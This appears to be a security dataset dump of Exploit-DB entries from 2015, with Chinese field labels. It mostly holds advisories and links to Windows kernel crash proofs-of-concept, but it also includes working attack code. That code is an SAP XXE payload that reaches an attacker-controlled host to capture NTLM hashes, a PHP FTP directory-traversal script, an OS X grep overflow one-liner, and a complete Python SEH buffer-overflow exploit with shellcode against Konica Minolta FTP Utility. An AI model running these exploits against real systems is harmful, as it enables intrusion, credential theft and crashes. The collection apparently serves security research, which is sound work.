QLWD/code_shield huggingface dataset:
标题: Cisco AnyConnect Secure Mobility Client 3.1.08009 - Local Privilege Escalation EDB-ID: 38289 CVE: 2015-6305 类型: LOCAL 平台: WINDOWS 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=460

Cisco AnyConnect Secure Mobility Client v3.1.08009 Elevation of Privilege
Platform: Windows 8.1 Update, Client version 3.1.08009 (tested on 32 bit only)
Class: Elevation of Privilege

Summary:
The fix for CVE-2015-4211 is insufficient which allows a local application to elevate to local system through the CMainThread::launchDownloader command. 

Description:

This is directly related to http://tools.cisco.com/security/center/viewAlert.x?alertId=39466. The fix for this issue seemed to be modifying the file verification process to only allow a signed file which also has in its version information the original filename of vpndownloader.exe. This, along with the name change makes it clear you only want to execute the VPN Downloader application. However the code doesn’t limit the location of the executable file, so one exploitation vector is DLL planting. The downloader loads a lot of DLLs from the executable directory first, so by copying the vpndownloader.exe file from Program Files to a temporary directory and dropping an appropriately named DLL you can get code execution as SYSTEM. One such DLL is dbghelp.dll which is loaded explicitly by the downloader using LoadLibrary, but there are many more.

Even if by luck the executable wasn’t vulnerable to DLL planting there’s many other potential issues, for example even though a lock is made on the executable file during signature verification it’s possible to use symbolic links to exploit this as a race condition and switch the executable file after verification has completed. There’s many other possibilities as well. I’d recommend that if you’re really only supposed to be executing vpndownloader you only execute it from the secure program files directory which would eliminate this issue. 

This was based on work previous done by Kostya Kortchinsky. 

Proof of Concept:

The PoC demonstrates the vulnerability and should create a copy of CMD.EXE running at SYSTEM on the current user’s desktop. I’ve provided source for the exploit.exe written in C# 4 and the dbghelp.dll in C++, as well as binaries. It should run on 32 and 64 bit platforms but I’ve only tested it on 32 bit.  

1) Copy the exploit.exe and dbghelp.dll  to a location on a local hard disk which the current user can write to.
2) Execute exploit.exe as the normal user
3) A command prompt should appear running at SYSTEM

Expected Result:
The service rejects the executable request

Observed Result:
The service executes the file from the temporary directory and allows for elevation.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38289.zip URL: https://www.exploit-db.com/exploits/38289
标题: Microsoft Windows Kernel - 'bGetRealizedBrush' Use-After-Free (MS15-097) EDB-ID: 38277 CVE: 2015-2518 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=458

---
The attached testcase crashes Win 7 with Special Pool on win32k while accessing freed memory in bGetRealizedBrush.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38277.zip URL: https://www.exploit-db.com/exploits/38277
标题: Microsoft Windows Kernel - Use-After-Free with Printer Device Contexts (MS15-097) EDB-ID: 38279 CVE: 2015-2507 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=433

---
The attached PoC demonstrates a UAF condition with printer device contexts. The PoC will trigger on Win 7 32-bit with Special Pool enabled.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38279.zip URL: https://www.exploit-db.com/exploits/38279
标题: Microsoft Windows Kernel - 'SURFOBJ' Null Pointer Dereference (MS15-061) EDB-ID: 38271 CVE: 2015-1725 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=312

This issue is very likely a null pointer issue affecting 32-bit Windows version. The offset is from add onto another offset which isn't quite zero, so not 100% convinced it is just a null pointer, however I wasn't able to influence the values. because it was very straight forward to get EIP there is a PoC setting EIP to 0xdeadbeef
Debug output attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38271.zip URL: https://www.exploit-db.com/exploits/38271
标题: Microsoft Windows Kernel - Use-After-Free with Cursor Object (MS15-097) EDB-ID: 38278 CVE: 2015-2517 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=457

---
The attached testcase crashes Win 7 with Special Pool enabled while accessing the freed global cursor object (_gpqCursor). See poc.cpp for instructions on how to compile and run.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38278.zip URL: https://www.exploit-db.com/exploits/38278
标题: Microsoft Windows Kernel - 'NtGdiStretchBlt' Pool Buffer Overflow (MS15-097) EDB-ID: 38280 CVE: 2015-2512 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=415

---
Tested on Win 7 32-bit with Special Pool enabled. 

Multiple pool buffer overflows can be triggered through the NtGdiStretchBlt system call. The attached PoC demonstrates a write overflow and another read over flow issue which is likely to be usable for memory leaks (enabled by uncommenting the first NtGdiStretchBlt call).
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38280.zip URL: https://www.exploit-db.com/exploits/38280
标题: Microsoft Windows Kernel - Null Pointer Dereference with Window Station and Clipboard (MS15-061) EDB-ID: 38274 CVE: 2015-1721 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=294

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with a caveat
- PoC might NOT work if compiled as a debug build.

windbg.txt is a sample crash log.

Analysis from Nils:

---
please find attached a C trigger, windbg output and the minimised testcase of a null pointer issue (exploitable on Win 7 32-bit). The trigger also demonstrates that the null page can be mapped in user mode and accessed from kernel mode.

Quick analysis:

The trigger creates a new window station which is freed during the process clean up. Through the clipboard operations the window's last reference is hold by the clipboard which is freed during the clean up of the window station object. This will also result in destroying the window object at a time where _gptiCurrent (threadinfo) is already set to null. This is used in xxxDestroyWindow in multiple locations. Depending on the window type it is potentially possible to trigger different kinds of crashes, this one demonstrates a write to a chosen memory location:

win32k!HMChangeOwnerThread+0x40:
96979765 ff412c          inc     dword ptr [ecx+2Ch]  ds:0023:bebebeea=????????
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38274.zip URL: https://www.exploit-db.com/exploits/38274
标题: Microsoft Windows Kernel - 'FlashWindowEx' Memory Corruption (MS15-097) EDB-ID: 38276 CVE: 2015-2511 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=475

---
The attached PoC triggers a wild write on Win 7 32-bit with Special Pool enabled on win32k.sys.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38276.zip URL: https://www.exploit-db.com/exploits/38276
标题: Microsoft Windows Kernel - Brush Object Use-After-Free (MS15-061) EDB-ID: 38272 CVE: 2015-1724 类型: DOS 平台: WINDOWS 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=304

Creating a device context with the flag (DCX_NORESETATTRS) and selecting a brush object into the device context will result in the brush being freed on process exit without the reference to the object being cleared. The PoC consists of two files (prime304.cpp  and poc304.cpp). poc304 will execute prime304, which triggers the issue and allows poc304 to retrieve a handle to the device context with the pointer to the freed object. We can confirm this by requesting the handle for the brush object from the device context, resulting in reading freed memory. In some cases the issue leads to memory corruption when for example another object is allocated into the space of the free brush object (see attached crash logs for examples).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38272.zip URL: https://www.exploit-db.com/exploits/38272
标题: Microsoft Windows Kernel - 'HmgAllocateObjectAttr' Use-After-Free (MS15-061) EDB-ID: 38269 CVE: 2015-1726 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=320

The PoC bug checks reliably with Special Pool enabled on writing to freed memory. A reference to the freed memory is held at offset +0x10 of the THREADINFO object. This memory is referenced in HmgAllocateObjectAttr which is called in multiple locations. The freed memory is a struct inside a Brush Object which is freed in the call NtGdiDeleteObjectApp.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38269.zip URL: https://www.exploit-db.com/exploits/38269
标题: Microsoft Windows Kernel - Bitmap Handling Use-After-Free (MS15-061) (1) EDB-ID: 38275 CVE: 2015-1722 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=293

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with two caveats:
- PoC will NOT work if compiled as a debug build.
- PoC will trigger the condition every time but the subsequent corruption might not cause a crash every time. It may be necessary to run the PoC multiple times.

debug.txt is a sample crash log.

Analysis from Nils:

---
Using the series of calls we are able to free the bitmap object, a reference to this object still exists in the trigger process after killing the first notepad process.

At this time we are able to replace the freed object in memory. We are not able to reuse this object through the original handle, however another free is triggered when quitting the trigger process, which will decrement the reference counter on the freed or replaced object, either modifying heap metadata or freeing the object which was allocated in the place of the original bitmap object.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38275.zip URL: https://www.exploit-db.com/exploits/38275
标题: Microsoft Windows Kernel - 'win32k!vSolidFillRect' Buffer Overflow (MS15-061) EDB-ID: 38270 CVE: 2015-1725 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=313

The PoC triggers a pool buffer overflow in win32k!vSolidFillRect. When using Special Pool we get the crash immediately on the overwrite. Without Special Pool we often get a crash in the same function, but sometimes it crashes in a different function (similar to another issue, however with a different offset). This might be a result of the memory corruption or an out-of-memory condition before the overflow is triggered. Debugger output for all three different crashes attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38270.zip URL: https://www.exploit-db.com/exploits/38270
标题: Microsoft Windows Kernel - WindowStation Use-After-Free (MS15-061) EDB-ID: 38273 CVE: 2015-1723 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=295

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with caveats:
- PoC MUST be compiled in release mode.
- PoC may need to be run a few times to trigger the crash.

Analysis is attached as a text file.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38273.zip URL: https://www.exploit-db.com/exploits/38273
标题: SAP NetWeaver < 7.01 - XML External Entity Injection EDB-ID: 38261 CVE: 2015-7241 类型: WEBAPPS 平台: XML 发布日期: 2015-09-22 漏洞利用脚本: Title: SAP Netwaver - XML External Entity Injection
Author: Lukasz Miedzinski
GPG: Public key provided in attachment
Date: 29/10/2014
CVE: CVE-2015-7241

Affected software :
===================

SAP Netwear : <7.01

Vendor advisories (only for customers):
===================
External ID : 851975 2014
Title:  XML External Entity vulnerability in SAP XML Parser
Security Note: 2098608
Advisory Plan Date: 12/5/2014
Delivery date of fix/Patch Day: 10/2/2014
CVSS Base Score: 5.5
CVSS Base Vector: AV:N/AC:L/AU:S/C:P/I:N/A:P


Description :
=============
XML External Entity Injection vulnerability has been found in the XML
parser in the System

Administration->XML Content and Actions -> Import section.


Vulnerabilities :
*****************

XML External Entity Injection :
======================


Example show how pentester is able to get NTLM hash of application's user.

Content of file (PoC) :

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:////Tester.IP/test"> %remote; %param1; ]>
<root/>

When pentester has metasploit smb_capture module run, then application
will contatc him and provide

NTLM hash of user.


Contact :
=========

Lukasz[dot]Miedzinski[at]gmail[dot]com URL: https://www.exploit-db.com/exploits/38261
标题: Microsoft Windows Kernel - Pool Buffer Overflow Drawing Caption Bar (MS15-061) EDB-ID: 38268 CVE: 2015-1727 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=321

The PoC triggers a crashes due to a pool buffer overflow while drawing the caption bar of window.  The trigger depends on the current window layout and resolution. The PoC takes an offset on the command line to be able to test with different values, I tested this on two different Win7 32-bit VM's and had success with 0 and 475000 (Resolution was 1024x768 and 1280x1024). A bruteforce Python script is also attached which should trigger a crash fairly quickly.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38268.zip URL: https://www.exploit-db.com/exploits/38268
标题: Microsoft Windows Kernel - 'DeferWindowPos' Use-After-Free (MS15-073) EDB-ID: 38266 CVE: 2015-2366 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=339

The attached PoC demonstrate a use-after-free condition that occurs when operating on a DeferWindowPos object from multiple threads. The DeferWindowPos() call will trigger and block on the execution of a window procedure in a separate thread from which we call EndDeferWindowPos on the same handle. specialpool.txt contains the debugger output with Session Pool enabled, crash.txt the debugger output without Session Pool.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38266.zip URL: https://www.exploit-db.com/exploits/38266
标题: Microsoft Windows Kernel - 'UserCommitDesktopMemory' Use-After-Free (MS15-073) EDB-ID: 38267 CVE: 2015-2365 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=335

Freed memory is accessed after switching between two desktops of which one is closed. The testcase crashes with and without special pool enabled. The attached crash output is with special enabled on win32k.sys and ntoskrnl.sys.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38267.zip URL: https://www.exploit-db.com/exploits/38267
标题: Microsoft Windows Kernel - Bitmap Handling Use-After-Free (MS15-061) (2) EDB-ID: 38265 CVE: 2015-1722 类型: DOS 平台: WINDOWS_X86 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=311

Bitmap object Use-after-Free #2

The attached PoC triggers a blue screen due to a use after free vulnerability. The crashes are unreliable, however you can use Special Pool in order to get reliable crashes. The crashes indicate that it is possible to write to arbitrary addresses.

---
please find the PoC and brief analysis for the issue attached. The analysis mentions how Special Pool can be used to get very reliable crashes, it should crash without Special Pool after a while as well. 
--

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38265.zip URL: https://www.exploit-db.com/exploits/38265
标题: Konica Minolta FTP Utility 1.0 - Directory Traversal EDB-ID: 38260 CVE: 2015-7603 类型: REMOTE 平台: WINDOWS 发布日期: 2015-09-22 漏洞利用脚本: /*
---------------------------------------------------------------------
Konica Minolta FTP Utility directory traversal vulnerability
Url: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
Poc: http://shinnai.altervista.org/exploits/SH-0024-20150922.html
---------------------------------------------------------------------
*/

<?php
   $local_file = 'boot.ini.txt';
   $server_file = '..\..\..\..\..\..\..\..\boot.ini';

   $conn_id = ftp_connect($ftp_server);
   $login_result = ftp_login($conn_id, "anonymous", "anonymous");

   if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY)) {
     echo "Successfully written to $local_file\n";
   } else {
     echo "There was a problem\n";
   }
   ftp_close($conn_id);
?>
--------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/38260
标题: Apple Mac OSX Regex Engine (TRE) - Stack Buffer Overflow (PoC) EDB-ID: 38263 CVE: 2015-3796 类型: DOS 平台: OSX 发布日期: 2015-09-22 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=428

OS X Libc uses the slightly obscure TRE regex engine [ http://laurikari.net/tre/ ]

If used in enhanced mode (by passing the REG_ENHANCED flag to regcomp) TRE supports arbitrary-width hex literals. Here is the code used to parse them:

  /* Wide char. */
  char tmp[32];
  long val;
  int i = 0;
  ctx->re++;
  while (ctx->re_end - ctx->re >= 0)
    {
      if (ctx->re[0] == CHAR_RBRACE)
        break;
      if (tre_isxdigit_l(ctx->re[0], ctx->loc))
        {
    tmp[i] = (char)ctx->re[0];
    i++;
    ctx->re++;
    continue;
        }
      return REG_EBRACE;
    }

ctx->re points to the regex characters. This code blindly copies hex characters from the regex into the 32 byte stack buffer tmp until it encounters either a non-hex character or a '}'...

I'm still not sure exactly what's compiled with REG_ENHANCED but at least grep is; try this PoC on an OS X machine:

lldb -- grep "\\\\x{`perl -e 'print "A"x1000;'`}" /bin/bash

That should crash trying to read and write pointers near 0x4141414141414141

Severity Medium because I still need to find either a priv-esc or remote context in which you can control the regex when REG_ENHANCED is enabled. URL: https://www.exploit-db.com/exploits/38263
标题: Konica Minolta FTP Utility 1.0 - Remote Command Execution EDB-ID: 38252 CVE: 2015-7767 类型: REMOTE 平台: WINDOWS 发布日期: 2015-09-20 漏洞利用脚本: # Title: Konica Minolta FTP Utility - Remote Command Execution
# Date : 20/09/2015
# Author: R-73eN
# Software: Konica Minolta FTP Utility v1.0
# Tested: Windows XP SP3 
# Software link: http://download.konicaminolta.hk/bt/driver/mfpu/ftpu/ftpu_10.zip
# Every command is vulnerable to buffer overflow.

import socket
import struct

shellcode =  ""#msfvenom -p windows/exec cmd=calc.exe -f python -b "\x00\x0d\x0a\x3d\x5c\x2f"
shellcode += "\xbd\xfe\xbd\x27\xc9\xda\xd8\xd9\x74\x24\xf4\x5e\x29"
shellcode += "\xc9\xb1\x31\x31\x6e\x13\x83\xee\xfc\x03\x6e\xf1\x5f"
shellcode += "\xd2\x35\xe5\x22\x1d\xc6\xf5\x42\x97\x23\xc4\x42\xc3"
shellcode += "\x20\x76\x73\x87\x65\x7a\xf8\xc5\x9d\x09\x8c\xc1\x92"
shellcode += "\xba\x3b\x34\x9c\x3b\x17\x04\xbf\xbf\x6a\x59\x1f\xfe"
shellcode += "\xa4\xac\x5e\xc7\xd9\x5d\x32\x90\x96\xf0\xa3\x95\xe3"
shellcode += "\xc8\x48\xe5\xe2\x48\xac\xbd\x05\x78\x63\xb6\x5f\x5a"
shellcode += "\x85\x1b\xd4\xd3\x9d\x78\xd1\xaa\x16\x4a\xad\x2c\xff"
shellcode += "\x83\x4e\x82\x3e\x2c\xbd\xda\x07\x8a\x5e\xa9\x71\xe9"
shellcode += "\xe3\xaa\x45\x90\x3f\x3e\x5e\x32\xcb\x98\xba\xc3\x18"
shellcode += "\x7e\x48\xcf\xd5\xf4\x16\xd3\xe8\xd9\x2c\xef\x61\xdc"
shellcode += "\xe2\x66\x31\xfb\x26\x23\xe1\x62\x7e\x89\x44\x9a\x60"
shellcode += "\x72\x38\x3e\xea\x9e\x2d\x33\xb1\xf4\xb0\xc1\xcf\xba"
shellcode += "\xb3\xd9\xcf\xea\xdb\xe8\x44\x65\x9b\xf4\x8e\xc2\x53"
shellcode += "\xbf\x93\x62\xfc\x66\x46\x37\x61\x99\xbc\x7b\x9c\x1a"
shellcode += "\x35\x03\x5b\x02\x3c\x06\x27\x84\xac\x7a\x38\x61\xd3"
shellcode += "\x29\x39\xa0\xb0\xac\xa9\x28\x19\x4b\x4a\xca\x65"
banner = ""
banner +="  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
nSEH = "\xEB\x13\x90\x90"
SEH = struct.pack('<L',0x1220401E)
evil = "A" * 8343 + nSEH + SEH + "\x90" * 22 + shellcode +"D" * (950 - len(shellcode))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server = raw_input('Enter IP : ')
s.connect((server, 21))
a = s.recv(1024)
print ' [+] ' + a
s.send('User ' + evil )
print '[+] https://www.infogen.al/ [+]' URL: https://www.exploit-db.com/exploits/38252